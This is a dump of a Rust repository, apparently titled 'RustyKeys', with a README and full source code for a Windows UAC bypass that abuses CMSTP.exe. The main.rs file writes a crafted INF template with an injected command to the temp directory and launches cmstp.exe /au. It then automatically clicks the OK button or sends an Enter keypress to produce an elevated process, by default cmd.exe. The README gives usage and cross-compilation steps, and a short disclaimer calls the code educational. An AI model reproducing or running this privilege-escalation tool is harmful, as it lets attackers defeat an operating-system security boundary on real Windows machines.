├── Cargo.lock ├── Cargo.toml ├── README.md └── src └── main.rs /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "RustyKeys" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "uuid", 10 | "winapi", 11 | ] 12 | 13 | [[package]] 14 | name = "cfg-if" 15 | version = "1.0.0" 16 | source = "registry+https://github.com/rust-lang/crates.io-index" 17 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 18 | 19 | [[package]] 20 | name = "getrandom" 21 | version = "0.2.15" 22 | source = "registry+https://github.com/rust-lang/crates.io-index" 23 | checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" 24 | dependencies = [ 25 | "cfg-if", 26 | "libc", 27 | "wasi", 28 | ] 29 | 30 | [[package]] 31 | name = "libc" 32 | version = "0.2.162" 33 | source = "registry+https://github.com/rust-lang/crates.io-index" 34 | checksum = "18d287de67fe55fd7e1581fe933d965a5a9477b38e949cfa9f8574ef01506398" 35 | 36 | [[package]] 37 | name = "uuid" 38 | version = "1.11.0" 39 | source = "registry+https://github.com/rust-lang/crates.io-index" 40 | checksum = "f8c5f0a0af699448548ad1a2fbf920fb4bee257eae39953ba95cb84891a0446a" 41 | dependencies = [ 42 | "getrandom", 43 | ] 44 | 45 | [[package]] 46 | name = "wasi" 47 | version = "0.11.0+wasi-snapshot-preview1" 48 | source = "registry+https://github.com/rust-lang/crates.io-index" 49 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 50 | 51 | [[package]] 52 | name = "winapi" 53 | version = "0.3.9" 54 | source = "registry+https://github.com/rust-lang/crates.io-index" 55 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 56 | dependencies = [ 57 | "winapi-i686-pc-windows-gnu", 58 | "winapi-x86_64-pc-windows-gnu", 59 | ] 60 | 61 | [[package]] 62 | name = "winapi-i686-pc-windows-gnu" 63 | version = "0.4.0" 64 | source = "registry+https://github.com/rust-lang/crates.io-index" 65 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 66 | 67 | [[package]] 68 | name = "winapi-x86_64-pc-windows-gnu" 69 | version = "0.4.0" 70 | source = "registry+https://github.com/rust-lang/crates.io-index" 71 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 72 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "RustyKeys" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | winapi = { version = "0.3", features = [ 8 | "winuser", 9 | "processthreadsapi", 10 | "psapi", 11 | "handleapi", 12 | "minwindef" 13 | ] } 14 | uuid = { version = "1.2", features = ["v4"] } 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CMSTP UAC Bypass Implementation in Rust 2 | 3 | This project is a Rust implementation of a UAC (User Account Control) bypass technique that was originally researched by Oddvar Moe and implemented in C#/.NET by zc00l. The technique leverages the Windows Connection Manager Profile Installer (CMSTP.exe) to elevate privileges. 4 | 5 | ## Overview 6 | 7 | The implementation uses Windows' CMSTP.exe binary to bypass UAC restrictions through a specially crafted .inf file. This allows a medium integrity process belonging to a local administrator to spawn a new high integrity process with full privileges. 8 | 9 | ## Technical Implementation 10 | 11 | ### Key Components 12 | 13 | #### INF File Generation 14 | - Creates a temporary .inf file in `C:\windows\temp` 15 | - Uses UUID v4 for unique filename generation 16 | - Injects the specified command into the INF template 17 | - Maintains the same INF structure as the original implementation 18 | 19 | #### Process Management 20 | - Executes CMSTP.exe with the `/au` flag 21 | - Handles process spawning and monitoring 22 | - Implements proper error handling for binary existence checks 23 | 24 | #### Window Management 25 | - Uses the Windows API through `winapi` crate 26 | - Implements window finding and interaction 27 | - Handles UAC prompt automation 28 | - Simulates keyboard input when needed 29 | 30 | ### Safety Improvements 31 | 32 | - Memory safety through Rust's ownership system 33 | - No unsafe DLL reflection (unlike the C# version) 34 | - Proper error handling and Result types 35 | - Safe string handling with proper Unicode support 36 | - Controlled process management 37 | 38 | ## Usage 39 | 40 | Download from the release or build on your own. 41 | 42 | Default usage (spawns elevated cmd.exe): 43 | ```bash 44 | .\RustyKeys.exe 45 | ``` 46 | 47 | Execute specific command with elevation: 48 | ```bash 49 | .\RustyKeys.exe "path_to_executable" 50 | ``` 51 | 52 | ## Building on Windows 53 | 54 | ```cmd 55 | cargo build --release 56 | ``` 57 | 58 | ## Building on Linux 59 | ```cmd 60 | cargo build --release --target x86_64-pc-windows-msvc # For 64-bit 61 | cargo build --release --target i686-pc-windows-msvc # For 32-bit 62 | ``` 63 | 64 | ## Technical Details 65 | 66 | ### Core Functions 67 | 68 | #### generate_inf_file(command: &str) -> String 69 | - Generates the INF file with the command to be executed 70 | - Returns the path to the generated file 71 | - Uses UUID for unique filename generation 72 | 73 | #### execute_cmstp(inf_file: &str) 74 | - Handles the execution of CMSTP.exe 75 | - Manages process creation and monitoring 76 | - Implements privilege elevation logic 77 | 78 | #### interact_with_window(process_name: &str) -> bool 79 | - Manages window interaction 80 | - Handles UAC prompt automation 81 | - Implements keyboard simulation when needed 82 | 83 | ## Credits 84 | 85 | This implementation is based on research and work by several security researchers: 86 | 87 | - Original Research: [Oddvar Moe](https://oddvar.moe/2017/08/15/research-on-cmstp-exe/) 88 | - Original C#/.NET Implementation and Article: zc00l 89 | - Article: [How to bypass UAC in newer Windows versions](https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html) 90 | - PowerShell Script: Tyler Applebaum 91 | - Script: [UACBypassCMSTP.ps1](https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1) 92 | 93 | Special thanks to zc00l for the comprehensive article explaining the technique and providing the original C#/.NET implementation that served as the basis for this Rust version. 94 | 95 | ## Legal Disclaimer 96 | 97 | This code is provided for educational purposes only. Users are responsible for ensuring compliance with applicable laws and regulations. The authors are not responsible for misuse of this software. 98 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | use std::env::args; 3 | use std::ffi::CString; 4 | use std::fs::File; 5 | use std::io::Write; 6 | use std::process::{Command, Stdio}; 7 | use std::ptr::null_mut; 8 | use std::thread; 9 | use std::time::Duration; 10 | use winapi::um::winuser::{ 11 | FindWindowA, FindWindowExA, SendMessageA, SetForegroundWindow, ShowWindow, BM_CLICK, 12 | SW_SHOWNORMAL, 13 | }; 14 | use winapi::um::winuser::{SendInput, INPUT, INPUT_KEYBOARD, KEYBDINPUT, VK_RETURN}; 15 | 16 | static INF_TEMPLATE: &str = r#"[version] 17 | Signature=$chicago$ 18 | AdvancedINF=2.5 19 | 20 | [DefaultInstall] 21 | CustomDestination=CustInstDestSectionAllUsers 22 | RunPreSetupCommands=RunPreSetupCommandsSection 23 | 24 | [RunPreSetupCommandsSection] 25 | REPLACE_COMMAND_LINE 26 | taskkill /IM cmstp.exe /F 27 | 28 | [CustInstDestSectionAllUsers] 29 | 49000,49001=AllUSer_LDIDSection, 7 30 | 31 | [AllUSer_LDIDSection] 32 | "HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", "" 33 | 34 | [Strings] 35 | ServiceName="CorpVPN" 36 | ShortSvcName="CorpVPN" 37 | "#; 38 | 39 | fn generate_inf_file(command: &str) -> String { 40 | let temp_dir = "C:\\windows\\temp"; 41 | let random_file_name = format!("{}\\{}.inf", temp_dir, uuid::Uuid::new_v4()); 42 | let inf_data = INF_TEMPLATE.replace("REPLACE_COMMAND_LINE", command); 43 | 44 | let mut file = File::create(&random_file_name).expect("Failed to create INF file"); 45 | file.write_all(inf_data.as_bytes()) 46 | .expect("Failed to write INF file"); 47 | 48 | random_file_name 49 | } 50 | 51 | fn execute_cmstp(inf_file: &str) { 52 | let binary_path = "C:\\windows\\system32\\cmstp.exe"; 53 | 54 | if !std::path::Path::new(binary_path).exists() { 55 | eprintln!("cmstp.exe binary not found!"); 56 | return; 57 | } 58 | 59 | let mut child = Command::new(binary_path) 60 | .arg("/au") 61 | .arg(inf_file) 62 | .stdout(Stdio::null()) 63 | .stderr(Stdio::null()) 64 | .spawn() 65 | .expect("Failed to start cmstp.exe"); 66 | 67 | let window_titles = ["CorpVPN", "cmstp"]; 68 | 69 | for title in &window_titles { 70 | if interact_with_window(title) { 71 | break; 72 | } 73 | } 74 | 75 | child.wait().expect("Failed to wait on cmstp.exe"); 76 | } 77 | 78 | fn interact_with_window(process_name: &str) -> bool { 79 | let class_name = CString::new(process_name).unwrap(); 80 | 81 | loop { 82 | unsafe { 83 | let hwnd = FindWindowA(null_mut(), class_name.as_ptr()); 84 | if hwnd.is_null() { 85 | continue; 86 | } 87 | 88 | SetForegroundWindow(hwnd); 89 | ShowWindow(hwnd, SW_SHOWNORMAL); 90 | 91 | let ok_button = FindWindowExA( 92 | hwnd, 93 | null_mut(), 94 | null_mut(), 95 | CString::new("OK").unwrap().as_ptr(), 96 | ); 97 | if !ok_button.is_null() { 98 | SendMessageA(ok_button, BM_CLICK, 0, 0); 99 | return true; 100 | } 101 | 102 | simulate_keypress(); 103 | return true; 104 | } 105 | } 106 | 107 | false 108 | } 109 | 110 | fn simulate_keypress() { 111 | unsafe { 112 | let mut input = INPUT { 113 | type_: INPUT_KEYBOARD, 114 | u: std::mem::zeroed(), 115 | }; 116 | 117 | *input.u.ki_mut() = KEYBDINPUT { 118 | wVk: VK_RETURN as u16, 119 | wScan: 0, 120 | dwFlags: 0, 121 | time: 0, 122 | dwExtraInfo: 0, 123 | }; 124 | 125 | SendInput(1, &mut input, std::mem::size_of::() as i32); 126 | } 127 | } 128 | 129 | fn main() { 130 | let args: Vec = args().collect(); 131 | 132 | let inf_file = if args.len() != 2 { 133 | let command_to_execute = "C:\\Windows\\System32\\cmd.exe"; 134 | generate_inf_file(command_to_execute) 135 | } else if args.len() > 2 { 136 | eprintln!( 137 | "Either specify a single file to be executed, or leave blank for the default value" 138 | ); 139 | return; 140 | } else { 141 | let command_to_execute = &args[1]; 142 | generate_inf_file(command_to_execute) 143 | }; 144 | 145 | execute_cmstp(&inf_file); 146 | } 147 | --------------------------------------------------------------------------------